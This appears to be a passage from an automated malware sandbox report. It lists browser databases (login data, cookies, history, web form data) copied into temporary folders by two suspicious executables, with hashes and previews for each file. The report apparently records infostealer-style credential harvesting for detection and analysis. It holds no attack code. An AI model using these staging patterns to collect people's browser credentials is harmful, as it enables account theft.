File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidibtrs_8Zx22oC\D87fZN3R3jFeplaces.sqlite

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidibtrs_8Zx22oC\NiKiztIBQKyrHistory

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.9682160163179127
Encrypted:	false
SSDEEP:	192:nqqAYR3QMmzyW/mtH+bF+UI3iN0RSV0k3qLyj9T3Qcd:nuY67b+tIkUI3iGRE3qLOT3l
MD5:	BF8CD4F8E657DE0E816EA32659C853CE
SHA1:	0196B07E108B1E7ADFE7470D9A40C5956F8AC9A2
SHA-256:	CF95F00F4AB3E1327085A4796565E5C0B65B10E435DD9776D35AD74FF8EA6970
SHA-512:	B9F1C53B70623516CE9F3A76E2F1CAFBCE93FA0DA8BFE140677389F9AB861D01CB0BC2973CC26C44223103C4BCD380C2236903B82034FAC6E50DDC40DF62E2BE
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidibtrs_8Zx22oC\SqkyUMCNLwxxLogin Data

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidibtrs_8Zx22oC\XBU1iGwN5zycCookies

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidibtrs_8Zx22oC\_NQPeWg1oQyKWeb Data

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidibtrs_8Zx22oC\aKY1hsYwVVg4Web Data

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidibtrs_8Zx22oC\h7auhgAcYq9XWeb Data

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidibtrs_8Zx22oC\hr8FlqzWpm2kWeb Data

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidibtrs_8Zx22oC\vLQq0Xn3c80rHistory

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidibtrs_8Zx22oC\wreJGDGYe3O5Login Data

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidibtrs_8Zx22oC\zSDK0bkB71k5Web Data

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidiuIh7Ey0HBdjO\02zdBXl47cvzcookies.sqlite

Download File

Process:	C:\ProgramData\MPGPH131\MPGPH131.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidiuIh7Ey0HBdjO\0S7mryHFOjgYWeb Data

Download File

Process:	C:\ProgramData\MPGPH131\MPGPH131.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidiuIh7Ey0HBdjO\0jSDkr3QBYFlHistory

Download File

Process:	C:\ProgramData\MPGPH131\MPGPH131.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.9682160163179127
Encrypted:	false
SSDEEP:	192:nqqAYR3QMmzyW/mtH+bF+UI3iN0RSV0k3qLyj9T3Qcd:nuY67b+tIkUI3iGRE3qLOT3l
MD5:	BF8CD4F8E657DE0E816EA32659C853CE
SHA1:	0196B07E108B1E7ADFE7470D9A40C5956F8AC9A2
SHA-256:	CF95F00F4AB3E1327085A4796565E5C0B65B10E435DD9776D35AD74FF8EA6970
SHA-512:	B9F1C53B70623516CE9F3A76E2F1CAFBCE93FA0DA8BFE140677389F9AB861D01CB0BC2973CC26C44223103C4BCD380C2236903B82034FAC6E50DDC40DF62E2BE
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidiuIh7Ey0HBdjO\2OeNVprmQH8XWeb Data

Download File

Process:	C:\ProgramData\MPGPH131\MPGPH131.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidiuIh7Ey0HBdjO\3b6N2Xdh3CYwplaces.sqlite

Download File

Process:	C:\ProgramData\MPGPH131\MPGPH131.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidiuIh7Ey0HBdjO\6KMxTjOLfx8RWeb Data

Download File

Process:	C:\ProgramData\MPGPH131\MPGPH131.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidiuIh7Ey0HBdjO\Cbs_zuUKIUdIWeb Data

Download File

Process:	C:\ProgramData\MPGPH131\MPGPH131.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidiuIh7Ey0HBdjO\D87fZN3R3jFeplaces.sqlite

Download File

Process:	C:\ProgramData\MPGPH131\MPGPH131.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidiuIh7Ey0HBdjO\DZEiEHWqD9fCLogin Data

Download File

Process:	C:\ProgramData\MPGPH131\MPGPH131.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidiuIh7Ey0HBdjO\GNx207WTjtbFHistory

Download File

Process:	C:\ProgramData\MPGPH131\MPGPH131.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.9682160163179127
Encrypted:	false
SSDEEP:	192:nqqAYR3QMmzyW/mtH+bF+UI3iN0RSV0k3qLyj9T3Qcd:nuY67b+tIkUI3iGRE3qLOT3l
MD5:	BF8CD4F8E657DE0E816EA32659C853CE
SHA1:	0196B07E108B1E7ADFE7470D9A40C5956F8AC9A2
SHA-256:	CF95F00F4AB3E1327085A4796565E5C0B65B10E435DD9776D35AD74FF8EA6970
SHA-512:	B9F1C53B70623516CE9F3A76E2F1CAFBCE93FA0DA8BFE140677389F9AB861D01CB0BC2973CC26C44223103C4BCD380C2236903B82034FAC6E50DDC40DF62E2BE
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidiuIh7Ey0HBdjO\PImqxeZJHwYsLogin Data

Download File

Process:	C:\ProgramData\MPGPH131\MPGPH131.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidiuIh7Ey0HBdjO\XL5RjBEsi8lyWeb Data

Download File

Process:	C:\ProgramData\MPGPH131\MPGPH131.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidiuIh7Ey0HBdjO\X_STjINBgJ4HHistory

Download File

Process:	C:\ProgramData\MPGPH131\MPGPH131.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidiuIh7Ey0HBdjO\aEI1BJFrD22tLogin Data For Account

Download File

Process:	C:\ProgramData\MPGPH131\MPGPH131.exe
